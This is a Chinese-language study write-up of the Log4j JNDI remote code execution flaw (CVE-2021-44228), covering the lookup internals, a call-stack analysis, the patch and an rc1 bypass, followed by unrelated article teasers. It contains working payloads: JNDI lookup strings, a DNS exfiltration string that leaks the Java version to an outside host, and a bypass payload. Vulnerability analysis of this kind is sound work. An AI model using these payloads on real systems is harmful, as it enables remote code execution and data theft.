log4j漏洞学习
log4j漏洞学习
- 总结
- 基础知识
- 属性占位符之Interpolator(插值器)
- 模式布局
- 日志级别
- Jndi RCE CVE-2021-44228
- 环境搭建
- 漏洞复现
- 代码分析
- 日志记录/触发点
- 消息格式化
- Lookup 处理
- JNDI 查询
- 触发条件
- 敏感数据带外
- 漏洞修复
- MessagePatternConverter类
- JndiManager#lookup
- rce1绕过
总结
其实学完之后回过头造成漏洞的原理就是Log4j引入了lookup接口原本的目的是来支持在日志输出时获取任意位置的Java对象。通过使用lookup接口,Log4j可以通过适当的配置和调用,动态地从程序运行环境中获取所需的对象,然后将其作为日志消息的一部分输出到日志目标中。
而恶意利用离不开我们的第一就是我们log4j输出内容的时候会去格式化,这里就会涉及到一个convert和format的过程,就会调用我们的MessagePatternConverter类,它会去识别我们的{jndi:…}这部分,然后交给lookup处理,而这部分主要是由我们的JndiManager负责的,它使用了InitialContext来构建了上下文导致了jndi的注入
基础知识
首先搭建一个环境
我们使用maven来引入相关组件的2.14.0版本,在工程的pom.xml下添加如下配置,他会导入两个jar包<dependencies><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.14.0</version></dependency>
</dependencies>
在工程目录resources下创建log4j2.xml配置文件
<?xml version="1.0" encoding="UTF-8"?><configuration status="error"><appenders>
<!-- 配置Appenders输出源为Console和输出语句SYSTEM_OUT--><Console name="Console" target="SYSTEM_OUT" >
<!-- 配置Console的模式布局--><PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %level %logger{36} - %msg%n"/></Console></appenders><loggers><root level="error"><appender-ref ref="Console"/></root></loggers>
</configuration>
测试代码
og4j2中包含两个关键组件LogManager和LoggerContext。LogManager是Log4J2启动的入口,可以初始化对应的LoggerContext。LoggerContext会对配置文件进行解析等其它操作。
在不使用slf4j的情况下常见的Log4J用法是从LogManager中获取Logger接口的一个实例,并调用该接口上的方法。运行下列代码查看打印结果
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;public class log4j2Rce2 {private static final Logger logger = LogManager.getLogger(log4j2Rce2.class);public static void main(String[] args) {String a="${java:os}";logger.error(a);}
}
属性占位符之Interpolator(插值器)
这是什么东西呢?其实理解为我们linux里面的环境变量就好了,log4j2中环境变量键值对被封装为了StrLookup对象。这些变量的值可以通过属性占位符来引用,格式为:${prefix:key}。在Interpolator(插值器)内部以Map<String,StrLookup>的方式则封装了多个StrLookup对象

这些实现类存在于org.apache.logging.log4j.core.lookup包下,当参数占位符 p r e f i x : k e y 带有 p r e f i x 前缀时, I n t e r p o l a t o r 会从指定 p r e f i x 对应的 S t r L o o k u p 实例中进行 k e y 查询。当参数占位符 {prefix:key}带有prefix前缀时,Interpolator会从指定prefix对应的StrLookup实例中进行key查询。当参数占位符 prefix:key带有prefix前缀时,Interpolator会从指定prefix对应的StrLookup实例中进行key查询。当参数占位符{key}没有prefix时,Interpolator则会从默认查找器中进行查询。如使用${jndi:key}时,将会调用JndiLookup的lookup方法 使用jndi(javax.naming)获取value
模式布局
PatternLayout模式布局会通过PatternProcessor模式解析器,对模式字符串进行解析,得到一个List转换器列表和List格式信息列表。在配置文件PatternLayout标签的pattern属性中我们可以看到类似%d的写法,d代表一个转换器名称,log4j2会通过PluginManager收集所有类别为Converter的插件,同时分析插件类上的@ConverterKeys注解,获取转换器名称,并建立名称到插件实例的映射关系,当PatternParser识别到转换器名称的时候,会查找映射。
而我们的漏洞就是出现在转换器名称msg对应的插件实例MessagePatternConverter对于日志中的消息内容处理中,MessagePatternConverter会将日志中的消息内容为${prefix:key}格式的字符串进行解析转换,读取环境变量。此时为jndi的方式的话,就存在漏洞。
日志级别

级别由高到低共分为6个:fatal(致命的), error, warn, info, debug, trace(堆栈)。
log4j2还定义了一个内置的标准级别intLevel,由数值表示,级别越高数值越小。
当日志级别(调用)大于等于系统设置的intLevel的时候,log4j2才会启用日志打印。在存在配置文件的时候
,会读取配置文件中值设置intLevel。当然我们也可以通过Configurator.setLevel(“当前类名”, Level.INFO);来手动设置。如果没有配置文件也没有指定则会默认使用Error级别,也就是200
Jndi RCE CVE-2021-44228
环境搭建
为了便于分析,我们就使用上面的那个环境,但是需要修改代码
import org.apache.logging.log4j.Level;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.core.config.Configurator;public class Log4jTEst {public static void main(String[] args) {Logger logger = LogManager.getLogger(Log4jTEst.class);logger.error("${jndi:rmi://64c8bb6d.dnslog.biz.}");}
}
漏洞复现
按道理来说复现是需要我们搭建一个rmi的,但是我知识分析这个逻辑,就简单的用dns来证明有漏洞

代码分析
先给出调用栈,能够对过程有更好的理解
lookup:209, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1116, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1038, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:345, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:543, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:502, LoggerConfig (org.apache.logging.log4j.core.config)
log:485, LoggerConfig (org.apache.logging.log4j.core.config)
log:460, LoggerConfig (org.apache.logging.log4j.core.config)
log:82, AwaitCompletionReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2198, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2152, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2135, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2011, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
error:740, AbstractLogger (org.apache.logging.log4j.spi)
main:11, Log4jTEst
AbstractLogger.error: 在你的代码中,这个方法被调用来记录一个错误级别的日志。
AbstractLogger.logIfEnabled: 这个方法检查是否启用了对应的日志级别,如果启用了,则继续进行日志记录。
AbstractLogger.logMessage: 这个方法会调用MessageFactory来创建一个日志消息(LogEvent)。
Logger.log 和 LoggerConfig.log: 这些方法处理日志事件,包括日志级别的检查,以及将日志事件传递给所有的Appender来进行处理。
AppenderControl.callAppender: 这个方法将日志事件发送给相应的Appender。在这个例子中,可能是一个ConsoleAppender(控制台输出)或者是一个FileAppender(文件输出)。
AbstractOutputStreamAppender.append: 这个方法将日志事件写入到指定的输出流中,比如控制台或者文件。
PatternLayout.encode: 这个方法将日志事件按照指定的模式(Pattern)转换成一个字符串。
MessagePatternConverter.format: 这个方法将日志事件中的数据按照特定的模式进行格式化,比如日期,日志级别,日志信息等。
StrSubstitutor.replace: 这个方法处理字符串中的变量替换。在你的例子中,它将${java:os}替换成对应的系统属性。
StrSubstitutor.substitute: 这个方法负责实际的字符串替换工作。
Interpolator.lookup: 这个方法用来查找和替换Log4j配置文件和日志事件中的变量。
当然我们重点分析的只有
lookup:209, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1116, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1038, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:345, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender
日志记录/触发点
通常我们使用 LogManager.getLogger() 方法来获取一个 Logger 对象
在这些所有的方法里,都会先使用名为 org.apache.logging.log4j.spi.AbstractLogger#logIfEnabled 的若干个重载方法来根据当前的配置的记录日志的等级,来判断是否需要输出 console 和记录日志文件。其中 Log4j 包括的日志等级层级分别为:ALL < DEBUG < INFO < WARN < ERROR < FATAL < OFF。
在默认情况下,会输出 WARN/ERROR/FATAL 等级的日志。
消息格式化
这里也是我们的重点,我们从
PatternLayout.encode开始分析,这个方法将日志事件按照指定的模式(Pattern)转换成一个字符串。
toSerializable:345, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout
PatternLayout.encode: 这个方法将转换为文本的日志事件编码为字节数组,然后写入到输出流中。这个方法可能会进行一些额外的处理,比如添加换行符或者其他的分隔符。
PatternLayout.toText: 这个方法将序列化的日志事件转换为纯文本。在大多数情况下,由于日志事件已经被转换为字符串,所以这个方法可能只是简单地返回传入的字符串。
PatternLayout$PatternSerializer.toSerializable: 这个方法将日志事件转换为一个可以序列化的对象,通常是一个字符串。这个方法使用预先定义的模式(Pattern)来格式化日志事件的各个部分,比如日期、级别、消息内容等。
public StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {final int len = formatters.length;for (int i = 0; i < len; i++) {formatters[i].format(event, buffer);}if (replace != null) { // creates temporary objectsString str = buffer.toString();str = replace.format(str);buffer.setLength(0);buffer.append(str);}return buffer;}
它会调用 formatters[i].format(event, buffer);方法,而我们的 formatters之一就有我们的org.apache.logging.log4j.core.pattern.MessagePatternConverter
跟进它的format方法
会对我们特殊字符进行一个判断截取,就是获取我们的value部分

此时的workingBuilder是一个StringBuilder对象,该对象存放的字符串如下所示
09:54:48.329 [main] ERROR com.Test.log4j.Log4jTEst - ${jndi:ldap://2lnhn2.ceye.io}
本来这段字符串的长度是82,但是却给它改成了53,为什么呢?因为第五十三的位置就是 符号,也就是说 符号,也就是说 符号,也就是说{jndi:ldap://2lnhn2.ceye.io}这段不要了,从第53位开始append。而append的内容是什么呢?可以看到传入的参数是config.getStrSubstitutor().replace(event, value)的执行结果,其中的value就是${jndi:ldap://2lnhn2.ceye.io}这段字符串
resolveVariable:1116, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1038, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
StrSubstitutor.replace: 这个方法处理字符串中的变量替换。在你的例子中,它将${java:os}替换成对应的系统属性。
StrSubstitutor.substitute: 这个方法负责实际的字符串替换工作。
Interpolator.lookup: 这个方法用来查找和替换Log4j配置文件和日志事件中的变量。
Lookup 处理
Log4j2 使用 org.apache.logging.log4j.core.lookup.Interpolator 类来代理所有的 StrLookup 实现类。也就是说在实际使用 Lookup 功能时,由 Interpolator 这个类来处理和分发。
这个类在初始化时创建了一个 strLookupMap ,将一些 lookup 功能关键字和处理类进行了映射,存放在这个 Map 中。
处理和分发的关键逻辑在于其 lookup 方法,通过 : 作为分隔符来分隔 Lookup 关键字及参数,从strLookupMap 中根据关键字作为 key 匹配到对应的处理类,并调用其 lookup 方法。

本次漏洞的触发方式是使用 jndi: 关键字来触发 JNDI 注入漏洞,对于 jndi
JNDI 查询
Log4j2 使用 org.apache.logging.log4j.core.net.JndiManager 来支持 JDNI 相关操作。
JndiManager 使用私有内部类 JndiManagerFactory 来创建 JndiManager 实例,如下图:
可以看到是创建了一个新的 InitialContext 实例,并作为参数传递用来创建 JndiManager,这个 Context 被保存在成员变量 context 中:
我们要触发jndi,就是要触发 InitialContext的lookup方法
JndiManager#lookup 方法则调用 this.context.lookup() 实现 JNDI 查询操作。

触发条件
通过对上面的代码分析,触发条件我们要看得到信息,那就得把我们的日志打印出来,
这里就要提到Log4j2的日志优先级问题,每个优先级对应一个数值intLevel记录在StandardLevel这个枚举类型中,数值越小优先级越高。
当我们执行Logger.error的时候,会调用Logger.logIfEnabled方法进行一个判断,而判断的依据就是这个日志优先级的数值大小

跟进isEnabled方法发现,只有当前日志优先级数值小于Log4j2的200的时候,程序才会继续往下走,如下所示

而这里日志优先级数值小于等于200的就只有”error”、”fatal”,这两个,所以logger.fatal()方法也可触发漏洞。但是”warn”、”info”大于200的就触发不了了
敏感数据带外
有时候我们并不能进行反弹shell哪些操作,我们可以尝试外带敏感的信息,比如java版本
"${jndi:ldap://${java:version}.2lnhn2.ceye.io}"
利用dns的解析去外带,因为它会先把内层的解析,再去解析外层
漏洞修复
MessagePatternConverter类
首先在这次补丁中MessagePatternConverter类进行了大改,可以看下修改前后MessagePatternConverter这个类的结构对比
修改前

修改后
在 MessagePatternConverter 类中创建了内部类 SimpleMessagePatternConverter、FormattedMessagePatternConverter、LookupMessagePatternConverter、RenderingPatternConverter,将一些扩展的功能进行模块化的处理,而只有在开启 lookup 功能时才会使用 LookupMessagePatternConverter 来进行 Lookup 和替换
之前的MessagePatternConverter,变成了现在的MessagePatternConverter$SimpleMessagePatternConverter,那么这个SimpleMessagePatternConverter的方法究竟是怎么实现的
可以看到并没有对传入的数据的“${”符号进行判断并特殊处理,所以利用这个合理的规避了我们的漏洞
JndiManager#lookup
第二个关键位置是 JndiManager#lookup 方法中添加了校验,使用了 JndiManagerFactory 来创建 JndiManager 实例,不再使用 InitialContext
public synchronized <T> T lookup(final String name) throws NamingException {try {URI uri = new URI(name);if (uri.getScheme() != null) {if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme());return null;}if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {if (!allowedHosts.contains(uri.getHost())) {LOGGER.warn("Attempt to access ldap server not in allowed list");return null;}
可以看到如果你是ldap开头的话,我们就需要
就回去判断请求的host,也就是请求的地址,白名单内容如下所示

可以看到白名单里要么是本机地址,要么是内网地址,fe80开头的ipv6地址也是内网地址,看似想要绕过有些困难,因为都是内网地址,没法请求放在公网的ldap服务,不过不用着急,继续往下看。
使用marshalsec开启ldap服务后,先将payload修改成下面这样
${jndi:ldap://127.0.0.1:8088/ExportObject}
如此一来就可以绕过第一道校验,过了这个host校验后,还有一个校验,在JndiManager.lookup方法中,会将请求ldap服务后 ldap返回的信息以map的形式存储,如下所示
这里要求javaFactory为空,否则就会返回”Referenceable class is not allowed for xxxxxx”的错误

但是这个没有return,程序会继续执行
也就是说只要让lookup方法在执行的时候抛个异常就可以了,将payload修改成以下的形式
${jndi:ldap://xxx.xxx.xxx.xxx:xxxx/ ExportObject}
在url中“/”后加上一个空格,就会导致lookup方法中一开始实例化URI对象的时候报错,这样不仅可以绕过第二道校验,连第一个针对host的校验也可以绕过,从而再次造成RCE。在rc2中,catch错误之后,return null,也就走不到lookup方法里了。
rce1绕过
那它是不是废弃了我们这个lookup功能呢?
并没有
开发者将其转移到了LookupMessagePatternConverter.format()方法中,如下所示

所以如果我们如果convert的时候利用LookupMessagePatternConverter从而能让程序在后续的执行过程中调用它的format方法
但是这个绕过吧。。。。也不算绕过
就是要修改配置文件,修改成如下所示在“%msg”的后面添加一个“{lookups}”,我相信一般情况下应该没有那个开发者会这么改配置文件玩,除非他真的需要log4j2提供的jndi lookup功能
参考su18师傅
相关文章:
log4j漏洞学习
log4j漏洞学习 总结基础知识属性占位符之Interpolator(插值器)模式布局日志级别 Jndi RCE CVE-2021-44228环境搭建漏洞复现代码分析日志记录/触发点消息格式化 Lookup 处理JNDI 查询触发条件敏感数据带外漏洞修复MessagePatternConverter类JndiManager#l…...
架构设计 - WEB项目的基础序列化配置
摘要:web项目中做好基础架构(redis,json)的序列化配置有重要意义 支持复杂数据结构:Redis 支持多种不同的数据结构,如字符串、哈希表、列表、集合和有序集合。在将这些数据结构存储到 Redis 中时,需要将其序列化为字节…...
java(JVM)
JVM Java的JVM(Java虚拟机)是运行Java程序的关键部件。它不直接理解或执行Java源代码,而是与Java编译器生成的字节码(Bytecode)进行交互。下面是对Java JVM更详尽的解释: 1.字节码: 当你使用J…...
【网络安全】【深度学习】【入侵检测】SDN模拟网络入侵攻击并检测,实时检测,深度学习【二】
文章目录 1. 习惯终端2. 启动攻击3. 接受攻击4. 宿主机查看h2机器 1. 习惯终端 上次把ubuntu 22自带的终端玩没了,治好用xterm: 以通过 AltF2 然后输入 xterm 尝试打开xterm 。 然后输入这个切换默认的终端: sudo update-alternatives --co…...
飞腾银河麒麟V10安装Todesk
下载安装包 下载地址 https://www.todesk.com/linux.html 安装 yum makecache yum install libappindicator-gtk3-devel.aarch64 rpm -ivh 下载的安装包文件后台启动 service todeskd start修改配置 编辑 /opt/todesk/config/config.ini 移除自动更新临时密码 passupda…...
JWT令牌、过滤器Filter、拦截器Interceptor
目录 JWT令牌 简介 JWT生成 解析JWT 登陆后下发令牌 过滤器(Filter) Filter快速入门 Filter拦截路径 过滤器链 登录校验Filter-流程 拦截器(Interceptor) Interceptor 快速入门 拦截路径 登录校验流程 JWT令牌 简介 全称:JSON Web Token(https://iwt.io/) …...
iText7画发票PDF——小tips
itext7教程: 1、https://blog.csdn.net/allway2/article/details/124295097 2、https://max.book118.com/html/2017/0720/123235195.shtm 3、https://www.cnblogs.com/fonks/p/15090635.html 4、https://www.cnblogs.com/sky-chen/p/13026203.html 5、官方ÿ…...
跟着刘二大人学pytorch(第---10---节课之卷积神经网络)
文章目录 0 前言0.1 课程链接:0.2 课件下载地址: 回忆卷积卷积过程(以输入为单通道、1个卷积核为例)卷积过程(以输入为3通道、1个卷积核为例)卷积过程(以输入为N通道、1个卷积核为例)…...
transformer实战
1.pipeline() 首先下载transformer,之后 from transformers import pipeline# 加载一个用于文本分类的pipeline # Use a pipeline as a high-level helperpipe pipeline("zero-shot-classification", model"https://hf-mirror.com/morit/chinese_…...
【Starrocks docker-compose部署】
一、docker-compose部署starrocks 官方的docker-compose地址:docker-compose地址 version: "3.9" services:starrocks-fe-0:image: starrocks/fe-ubuntu:latesthostname: starrocks-fe-0container_name: starrocks-fe-0command:- /bin/bash- -c- |/opt/starrocks/f…...
Nginx 精解:正则表达式、location 匹配与 rewrite 重写
一、常见的 Nginx 正则表达式 在 Nginx 配置中,正则表达式用于匹配和重写 URL 请求。以下是一些常见的 Nginx 正则表达式示例: 当涉及正则表达式时,理解各个特殊字符的含义是非常重要的。以下是每个特殊字符的例子: ^࿱…...
代码随想录算法训练营Day37|56.合并区间、738.单调递增的数字、968.监控二叉树
合并区间 56. 合并区间 - 力扣(LeetCode) 和之前的思路类似,先创建一个ans二维数组,创建start和end来指明添加进入ans数组的区间下标,先对数组按照首元素排序从小到大排序后,根据当前元素是否小于下一个元…...
Web前端开发12章:深入探索与实战解析
Web前端开发12章:深入探索与实战解析 在数字化浪潮的推动下,Web前端开发技术日新月异,成为了构建互联网应用的重要基石。本文将以12章的篇幅,从四个方面、五个方面、六个方面和七个方面,深入探索Web前端开发的精髓&am…...
八股操作系统和计算机网络
5.线程间的同步的方式有哪些? 6.PCB(不熟悉) 进程状态 什么是僵尸进程和孤儿进程? 进程调度算法 死锁的理解 举个发生死锁的例子 解决死锁的方式 内存管理做了哪些事情 什么是内存碎片 常见的内存管理 段表通过什么数据结构实现地址映射 分段机制为什么会…...
正能量情感语录热门素材文案去哪里找?文案素材网站分享
正能量情感语录热门素材文案去哪里找?文案素材网站分享 想为你的作品注入正能量和情感温度?不知如何获取热门情感语录素材?别担心,今天我将为大家推荐一些海外知名的素材网站,让你轻松找到受欢迎的文案素材ÿ…...
bean实例化
黑马程序员SSM 文章目录 一、bean是如何创建的二、实例化bean的三种方式3.1 构造方法(常用)3.2 静态工厂3.3 实例化工厂(了解)3.4 FactoryBean 一、bean是如何创建的 Spring 创建bean的时候使用的是无参构造 二、实例化bean的三…...
Django中间件探索:揭秘中间件在Web应用中的守护角色与实战应用
系列文章目录 Django入门全攻略:从零搭建你的第一个Web项目Django ORM入门指南:从概念到实践,掌握模型创建、迁移与视图操作Django ORM实战:模型字段与元选项配置,以及链式过滤与QF查询详解Django ORM深度游ÿ…...
【PL理论】(24) C- 语言:有块的作用域 | 更新的语法 | 新的语义域 | 环境 vs. 内存
💭 写在前面:我们将再次扩展之前的C语言,让我们向这种语言引入“作用域”的概念。 目录 0x00 C- 语言:有块的作用域 0x01 C- 语言:更新的语法 0x02 新的语义域 0x03 环境 vs. 内存 0x00 C- 语言:有块的…...
React native 使用Animated 优化连续setState 性能问题
再部分场景下我们需要连续更新state刷新页面。一般情况刷新使用setstate没有问题,当需要连续刷新的情况会有明显的性能问题。 场景:自定义可拖动抽屉组件 新增需求在抽屉活动是更新主页面组件样式,此时需要动态传递抽屉高度修改主页组件属性…...
Qt中的事件循环
Gui框架一般都是基于事件驱动的,Qt也不例外,在 Qt 框架中,事件循环(Event Loop)是一个核心机制,负责管理和分发应用程序中的所有事件和消息。它确保了应用程序能够响应用户输入、定时器事件、窗口系统事件等…...
变量 varablie 声明- Rust 变量 let mut 声明与 C/C++ 变量声明对比分析
一、变量声明设计:let 与 mut 的哲学解析 Rust 采用 let 声明变量并通过 mut 显式标记可变性,这种设计体现了语言的核心哲学。以下是深度解析: 1.1 设计理念剖析 安全优先原则:默认不可变强制开发者明确声明意图 let x 5; …...
linux之kylin系统nginx的安装
一、nginx的作用 1.可做高性能的web服务器 直接处理静态资源(HTML/CSS/图片等),响应速度远超传统服务器类似apache支持高并发连接 2.反向代理服务器 隐藏后端服务器IP地址,提高安全性 3.负载均衡服务器 支持多种策略分发流量…...
【大模型RAG】Docker 一键部署 Milvus 完整攻略
本文概要 Milvus 2.5 Stand-alone 版可通过 Docker 在几分钟内完成安装;只需暴露 19530(gRPC)与 9091(HTTP/WebUI)两个端口,即可让本地电脑通过 PyMilvus 或浏览器访问远程 Linux 服务器上的 Milvus。下面…...
什么是EULA和DPA
文章目录 EULA(End User License Agreement)DPA(Data Protection Agreement)一、定义与背景二、核心内容三、法律效力与责任四、实际应用与意义 EULA(End User License Agreement) 定义: EULA即…...
精益数据分析(97/126):邮件营销与用户参与度的关键指标优化指南
精益数据分析(97/126):邮件营销与用户参与度的关键指标优化指南 在数字化营销时代,邮件列表效度、用户参与度和网站性能等指标往往决定着创业公司的增长成败。今天,我们将深入解析邮件打开率、网站可用性、页面参与时…...
【笔记】WSL 中 Rust 安装与测试完整记录
#工作记录 WSL 中 Rust 安装与测试完整记录 1. 运行环境 系统:Ubuntu 24.04 LTS (WSL2)架构:x86_64 (GNU/Linux)Rust 版本:rustc 1.87.0 (2025-05-09)Cargo 版本:cargo 1.87.0 (2025-05-06) 2. 安装 Rust 2.1 使用 Rust 官方安…...
关于uniapp展示PDF的解决方案
在 UniApp 的 H5 环境中使用 pdf-vue3 组件可以实现完整的 PDF 预览功能。以下是详细实现步骤和注意事项: 一、安装依赖 安装 pdf-vue3 和 PDF.js 核心库: npm install pdf-vue3 pdfjs-dist二、基本使用示例 <template><view class"con…...
Oracle11g安装包
Oracle 11g安装包 适用于windows系统,64位 下载路径 oracle 11g 安装包...
消息队列系统设计与实践全解析
文章目录 🚀 消息队列系统设计与实践全解析🔍 一、消息队列选型1.1 业务场景匹配矩阵1.2 吞吐量/延迟/可靠性权衡💡 权衡决策框架 1.3 运维复杂度评估🔧 运维成本降低策略 🏗️ 二、典型架构设计2.1 分布式事务最终一致…...
C++_哈希表
本篇文章是对C学习的哈希表部分的学习分享 相信一定会对你有所帮助~ 那咱们废话不多说,直接开始吧! 一、基础概念 1. 哈希核心思想: 哈希函数的作用:通过此函数建立一个Key与存储位置之间的映射关系。理想目标:实现…...
